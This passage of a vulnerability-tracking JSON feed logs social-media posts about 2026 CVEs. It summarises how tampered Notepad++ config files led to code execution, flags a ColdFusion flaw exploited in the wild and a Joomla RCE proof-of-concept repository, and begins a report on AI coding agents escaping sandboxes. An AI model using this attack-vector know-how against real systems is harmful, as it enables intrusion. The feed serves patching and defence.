\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0435\u043c, \u043a\u0430\u043a Notepad++ \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 commandLineInterpreter. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0431\u0440\u0430\u043b\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 \u0448\u0442\u0430\u0442\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u00abOpen Containing Folder in cmd\u00bb. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 AppData, \u044f\u0440\u043b\u044b\u043a \u0441 -settingsDir, \u043e\u0431\u043b\u0430\u0447\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438\u043b\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0430\u0440\u0445\u0438\u0432.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043b\u0443\u0447\u0448\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e Notepad++ 8.9.6.1. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u0442\u043e\u0438\u0442 \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 config.xml \u0438 shortcuts.xml. \u0412 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u043f\u0440\u0430\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u043b\u0443\u0447\u0448\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0437\u0430\u0440\u0430\u043d\u0435\u0435.\n\n#notepad #\u0431\u043b\u043e\u043a\u043d\u043e\u0442 #\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 #rce\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.656648Z"}, {"uuid": "8d4b0d83-86ca-4ce8-b995-54b32e3571d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://t.me/ZerodayAlert/720", "content": "Notepad++ \u0437\u0430\u043a\u0440\u044b\u043b \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0447\u0443\u0436\u043e\u0439 \u043a\u043e\u0434\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 Notepad++ 8.9.6.1 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 CVE-2026-48770, CVE-2026-48778 \u0438 CVE-2026-48800. \u0421\u0430\u043c\u044b\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0431\u0440\u0435\u0448\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0443 7,8 \u043f\u043e CVSS \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0441 config.xml \u0438 shortcuts.xml. \u0414\u043b\u044f \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 Windows-\u0441\u0440\u0435\u0434\u0430\u0445, \u0440\u0438\u0441\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0435\u043c, \u043a\u0430\u043a Notepad++ \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 commandLineInterpreter. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0431\u0440\u0430\u043b\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 \u0448\u0442\u0430\u0442\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u00abOpen Containing Folder in cmd\u00bb. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 AppData, \u044f\u0440\u043b\u044b\u043a \u0441 -settingsDir, \u043e\u0431\u043b\u0430\u0447\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438\u043b\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0430\u0440\u0445\u0438\u0432.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043b\u0443\u0447\u0448\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e Notepad++ 8.9.6.1. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u0442\u043e\u0438\u0442 \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 config.xml \u0438 shortcuts.xml. \u0412 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u043f\u0440\u0430\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u043b\u0443\u0447\u0448\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0437\u0430\u0440\u0430\u043d\u0435\u0435.\n\n#notepad #\u0431\u043b\u043e\u043a\u043d\u043e\u0442 #\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 #rce\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.698543Z"}, {"uuid": "dfcac318-bb7f-418c-b464-f6890b73ce41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://t.me/ZerodayAlert/720", "content": "Notepad++ \u0437\u0430\u043a\u0440\u044b\u043b \u0442\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0434\u0432\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0447\u0443\u0436\u043e\u0439 \u043a\u043e\u0434\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 Notepad++ 8.9.6.1 \u0438 \u0437\u0430\u043a\u0440\u044b\u043b\u0438 CVE-2026-48770, CVE-2026-48778 \u0438 CVE-2026-48800. \u0421\u0430\u043c\u044b\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0431\u0440\u0435\u0448\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u0446\u0435\u043d\u043a\u0443 7,8 \u043f\u043e CVSS \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0441 config.xml \u0438 shortcuts.xml. \u0414\u043b\u044f \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0432 Windows-\u0441\u0440\u0435\u0434\u0430\u0445, \u0440\u0438\u0441\u043a \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0442\u0435\u043c, \u043a\u0430\u043a Notepad++ \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 commandLineInterpreter. \u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0431\u0440\u0430\u043b\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0430 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0447\u0435\u0440\u0435\u0437 \u0448\u0442\u0430\u0442\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u00abOpen Containing Folder in cmd\u00bb. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 AppData, \u044f\u0440\u043b\u044b\u043a \u0441 -settingsDir, \u043e\u0431\u043b\u0430\u0447\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443 \u0438\u043b\u0438 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0430\u0440\u0445\u0438\u0432.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043b\u0443\u0447\u0448\u0435 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e Notepad++ 8.9.6.1. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u0442\u043e\u0438\u0442 \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 config.xml \u0438 shortcuts.xml. \u0412 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u043f\u0440\u0430\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0447\u0443\u0432\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 \u043b\u0443\u0447\u0448\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0437\u0430\u0440\u0430\u043d\u0435\u0435.\n\n#notepad #\u0431\u043b\u043e\u043a\u043d\u043e\u0442 #\u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440 #rce\n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:06.745537Z"}, {"uuid": "59d27681-4f57-4075-a581-fb6c1fa1a82b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-25T23:00:03.339467Z"}, {"uuid": "64cba2ae-59a1-45ac-8815-5a05c822dca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48806", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmkggsglv2o", "content": "\u05e4\u05d2\u05d9\u05e2\u05d4 \u05d7\u05de\u05d5\u05e8\u05d4 \u05d1\u05d8\u05d5\u05d5\u05d9\u05d2: \u05d3\u05e8\u05db\u05d9 \u05d4\u05ea\u05de\u05d5\u05d3\u05d3\u05d5\u05ea \u05e2\u05dd CVE-2026-48806\n\n\n\nhttps://khesef.xyz/posts/2D27C0E7-DE5E-44F0-974B-454A2948B384", "creation_timestamp": "2026-07-27T09:10:43.767892Z"}, {"uuid": "4860c3db-75f6-4ad0-91c1-b6c37a36e593", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mrj2tm6y2y2o", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-4878](https://access.redhat.com/errata/RHSA-2026:12423)\nA flaw was found in libcap. A l...\nhttps://access.redhat.com/errata/RHSA-2026:12423 #Vulnerability #CVE #ZeroDay", "creation_timestamp": "2026-07-25T23:53:46.842401Z"}, {"uuid": "655d9f31-cc9b-48d0-bc61-37b3e7892b0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://bsky.app/profile/vulny-app.bsky.social/post/3mrirfv62w22j", "content": "A critical-severity fix just shipped for Microsoft Azure Horizondb. If your stack uses it, patch to the fixed release soon. Quietly closes the gap before anyone goes looking. CVE-2026-48567", "creation_timestamp": "2026-07-25T21:05:02.460307Z"}, {"uuid": "7fc634c2-803e-49f9-8231-4322385d72c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mrim3w7c7i27", "content": "Cybersecurity alert: A now-patched flaw, HermeticReader (CVE-2026-48294), in Adobe Acrobat Chrome extension (314M+ users) could silently hijack WhatsApp data. Stay updated!", "creation_timestamp": "2026-07-25T19:29:59.474828Z"}, {"uuid": "422cfcb7-31c5-4ac7-9c26-60ca86431387", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-26T00:00:14.312233Z"}, {"uuid": "def2289c-2d89-4e84-b549-5a6ffea688c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://t.me/ZerodayAlert/752", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 Adobe ColdFusion\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48282 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H \u2014 10.0 Critical) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 ColdFusion 2025 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c 9 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 ColdFusion 2023 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c 20 \u0438 \u043d\u0438\u0436\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438, \u0447\u0438\u0442\u0430\u0442\u044c \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434.\n\nAdobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f 30 \u0438\u044e\u043d\u044f \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 \u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u043a\u0440\u044b\u0432 \u0441\u0440\u0430\u0437\u0443 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0448\u0435\u0441\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 10 \u0431\u0430\u043b\u043b\u043e\u0432. \u0423\u0436\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b KEVIntel \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Shadowserver, \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c\u0438 \u043e\u043a\u043e\u043b\u043e 800 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Adobe ColdFusion. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b Adobe \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 10 \u0434\u043b\u044f ColdFusion 2025 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 21 \u0434\u043b\u044f ColdFusion 2023.\n\n#adobe #coldfusion #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:38.667019Z"}, {"uuid": "33db64f3-b1d7-4555-ab4f-b91474909ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/95107", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-48908-Joomla-SP-Page-Builder-RCE\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a imXur\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-25 12:57:50\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTechnical analysis and advisory for CVE-2026-48908: Unauthenticated Arbitrary File Upload to RCE in JoomShaper SP Page Builder.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-26T00:00:45.103076Z"}, {"uuid": "e1bea1fb-d115-49b9-b545-5a51917d2d28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48357", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmkhglsrg2u", "content": "\u0423\u0433\u0440\u043e\u0437\u0430 CVE-2026-48357: \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 CAI Content Credentials \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438\n\n\n\nhttps://kripta.biz/posts/7E43BFF7-F407-4030-95EE-B557C7CCF89A", "creation_timestamp": "2026-07-27T09:11:17.056840Z"}, {"uuid": "6dc66092-92d5-4ae8-b708-722f8708a4d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48357", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmki4xeux23", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea CVE-2026-48357: \u05e1\u05d9\u05db\u05d5\u05df \u05e9\u05dc \u05e6\u05e8\u05d9\u05db\u05ea \u05de\u05e9\u05d0\u05d1\u05d9\u05dd \u05d1\u05dc\u05ea\u05d9 \u05de\u05d5\u05e7\u05e0\u05ea \u05d1-CAI Content Credentials\n\n\n\nhttps://khesef.xyz/posts/C36FA29C-22D6-4074-93EE-A347B5B219E9", "creation_timestamp": "2026-07-27T09:11:40.859149Z"}, {"uuid": "4c7f0267-d8df-4875-8f7f-c6e5770b8838", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48561", "type": "seen", "source": "https://bsky.app/profile/malwareobserver.bsky.social/post/3mrlaa2s7bb2x", "content": "\ud83d\udc1b VULNERABILITIES CVE Notify: \ud83d\udea8 [CVE-2026-48561](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561)\nImproper n...\nhttps://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48561 #CVE #ZeroDay #PatchManagement", "creation_timestamp": "2026-07-26T20:35:32.763677Z"}, {"uuid": "4d7bc7ca-5b02-487f-ad81-7465d4b29475", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48021", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mrjnxi625j23", "content": "Another Tiny Web Weakness, Now Waiting to Become a Full Corporate Funeral\nPANIC 52% | Lag 0.0h | CVE-2026-48021 in epa4all allows interception of sensitive data and malicious request injection befo\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-07-26T05:35:57.573700Z"}, {"uuid": "fc391177-35eb-4b1c-8c9f-59b820775f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48124", "type": "seen", "source": "https://t.me/cult_security/1577", "content": "AI-\u0430\u0433\u0435\u043d\u0442\u044b \u0431\u0435\u0433\u0443\u0442 \u0438\u0437 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 Pillar Security \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u0438 \u0432 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 AI-\u043a\u043e\u0434\u0438\u043d\u0433\u0430\u0445: Cursor, Codex, Gemini CLI \u0438 Antigravity. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043b\u043e\u043c\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0442\u0443 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u2014 